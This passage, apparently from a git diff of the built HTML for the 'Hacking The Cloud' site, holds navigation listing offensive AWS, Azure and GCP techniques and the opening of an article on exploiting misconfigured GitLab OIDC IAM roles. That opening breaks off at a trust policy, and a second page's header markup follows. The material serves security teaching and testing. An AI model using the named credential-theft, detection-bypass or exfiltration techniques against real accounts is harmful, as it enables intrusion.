Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-role-misconfiguration-using-gitlab-oidc class=md-nav__link> <span class=md-ellipsis> IAM role misconfiguration using GitLab OIDC </span> </a> </li> <li class=md-nav__item> <a href=#how-to-exploit-this-misconfiguration class=md-nav__link> <span class=md-ellipsis> How to exploit this misconfiguration </span> </a> </li> <li class=md-nav__item> <a href=#how-the-aws-console-causes-this-misconfiguration-by-default class=md-nav__link> <span class=md-ellipsis> How the AWS console causes this misconfiguration by default </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-role-misconfiguration-using-gitlab-oidc class=md-nav__link> <span class=md-ellipsis> IAM role misconfiguration using GitLab OIDC </span> </a> </li> <li class=md-nav__item> <a href=#how-to-exploit-this-misconfiguration class=md-nav__link> <span class=md-ellipsis> How to exploit this misconfiguration </span> </a> </li> <li class=md-nav__item> <a href=#how-the-aws-console-causes-this-misconfiguration-by-default class=md-nav__link> <span class=md-ellipsis> How the AWS console causes this misconfiguration by default </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Exploiting Misconfigured GitLab OIDC AWS IAM Roles</h1> <p><a href=https://openid.net/developers/how-connect-works/ >OpenID Connect</a> (OIDC) is a common technology used to authorize services outside of AWS to assume IAM roles. As has been shown many times in the past (examples: <a href=https://securitylabs.datadoghq.com/articles/exploring-github-to-aws-keyless-authentication-flaws/ >one</a>, <a href=https://securitylabs.datadoghq.com/articles/amplified-exposure-how-aws-flaws-made-amplify-iam-roles-vulnerable-to-takeover/ >two</a>, and <a href=https://hacktodef.com/addressed-aws-defaults-risks-oidc-terraform-and-anonymous-to-administratoraccess>three</a>), these roles can be misconfigured, permitting anyone in the world the ability to assume a vulnerable role.</p> <p>In this article, we will explain a potential misconfiguration of AWS IAM roles when using GitLab OIDC, walk through how to exploit them step-by-step, and explain how the AWS Console causes this misconfiguration by default.</p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>In this article, we are only covering misconfigured roles with a trust relationship to the <a href=https://gitlab.com/ >gitlab.com</a> SaaS offering. In theory this attack could be performed on a self-hosted version of GitLab as well, however we have not tried it. If you have, feel free to open a <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>pull request</a> and update this article as needed.</p> </div> <h2 id=iam-role-misconfiguration-using-gitlab-oidc>IAM role misconfiguration using GitLab OIDC<a class=headerlink href=#iam-role-misconfiguration-using-gitlab-oidc title="Permanent link">&para;</a></h2> <p>According to the GitLab <a href=https://docs.gitlab.com/ee/ci/cloud_services/aws/ >documentation</a>, AWS IAM roles that are using OIDC to authenticate should have a trust policy that looks like the following:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>  </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>  </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>    </span><span class=p>{</span>
diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/index.html
new file mode 100644
index 000000000..871bc4cd6
--- /dev/null
+++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/index.html
@@ -0,0 +1,412 @@
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ rel=canonical><link href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ rel=prev><link href=../misconfigured_ecr_resource_policy/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Exploiting Public AWS Resources Programmatically - The Playbook - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Exploiting Public AWS Resources Programmatically - The Playbook - Hacking The Cloud"><meta property=og:description content="A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Exploiting Public AWS Resources Programmatically - The Playbook - Hacking The Cloud"><meta property=twitter:description content="A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+    html.glightbox-open { overflow: initial; height: 100%; }
+    .gslide-title { margin-top: 0px; user-select: text; }
+    .gslide-desc { color: #666; user-select: text; }
+    .gslide-image img { background: white; }
+    .gscrollbar-fixer { padding-right: 15px; }
+    .gdesc-inner { font-size: 0.75rem; }
+    body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
+    body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#exploiting-public-aws-resources-cli-attack-playbook class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 